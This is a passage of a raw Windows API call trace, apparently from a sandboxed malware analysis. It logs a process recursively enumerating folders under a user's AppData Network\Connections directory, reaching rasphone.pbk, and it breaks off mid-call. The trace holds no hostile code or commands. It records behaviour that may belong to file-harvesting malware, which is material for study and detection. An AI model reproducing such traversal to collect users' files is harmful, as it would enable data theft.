[0115.953] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16339a8 | out: hHeap=0x1600000) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668460 | out: hHeap=0x1600000) returned 1 [0115.953] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="16", cAlternateFileName="")) returned 0 [0115.953] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668f88 | out: hHeap=0x1600000) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.954] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0115.954] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0115.954] GetProcessHeap () returned 0x1600000 [0115.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163fb00 [0115.954] PathCombineW (in: pszDest=0x163fb00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Network" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network" [0115.954] GetProcessHeap () returned 0x1600000 [0115.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fe80 [0115.954] PathCombineW (in: pszDest=0x163fe80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*" [0115.954] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0115.954] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.956] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0115.956] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0115.956] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.964] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0115.964] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.965] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0115.965] GetProcessHeap () returned 0x1600000 [0115.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167c288 [0115.965] PathCombineW (in: pszDest=0x167c288, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", pszFile="Connections" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0115.965] GetProcessHeap () returned 0x1600000 [0115.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x167c320 [0115.965] PathCombineW (in: pszDest=0x167c320, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0115.965] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0115.967] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Cm", cAlternateFileName="")) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Pbk", cAlternateFileName="")) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 0 [0115.967] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0115.968] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0115.970] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0115.970] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Cm", cAlternateFileName="")) returned 1 [0115.970] GetProcessHeap () returned 0x1600000 [0115.970] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x90) returned 0x167ba38 [0115.970] PathCombineW (in: pszDest=0x167ba38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="Cm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm" [0115.970] GetProcessHeap () returned 0x1600000 [0115.970] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x165e728 [0115.970] PathCombineW (in: pszDest=0x165e728, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*" [0115.970] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0115.970] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 1 [0115.971] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 0 [0115.971] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.971] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.971] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.971] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.971] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.972] GetProcessHeap () returned 0x1600000 [0115.972] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e728 | out: hHeap=0x1600000) returned 1 [0115.972] GetProcessHeap () returned 0x1600000 [0115.972] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167ba38 | out: hHeap=0x1600000) returned 1 [0115.972] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Pbk", cAlternateFileName="")) returned 1 [0115.972] GetProcessHeap () returned 0x1600000 [0115.972] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165dfa8 [0115.972] PathCombineW (in: pszDest=0x165dfa8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="Pbk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0115.972] GetProcessHeap () returned 0x1600000 [0115.972] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e868 [0115.972] PathCombineW (in: pszDest=0x165e868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0115.972] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0115.973] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 1 [0115.973] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0115.973] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0115.973] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0115.973] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.974] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.974] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0115.974] GetProcessHeap () returned 0x1600000 [0115.974] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162da78 [0115.974] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", pszFile="_hiddenPbk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0115.974] GetProcessHeap () returned 0x1600000 [0115.974] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1630ea0 [0115.974] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0115.974] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc3, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.974] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc3, cFileName="..", cAlternateFileName="")) returned 1 [0115.974] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc3, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0115.974] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: 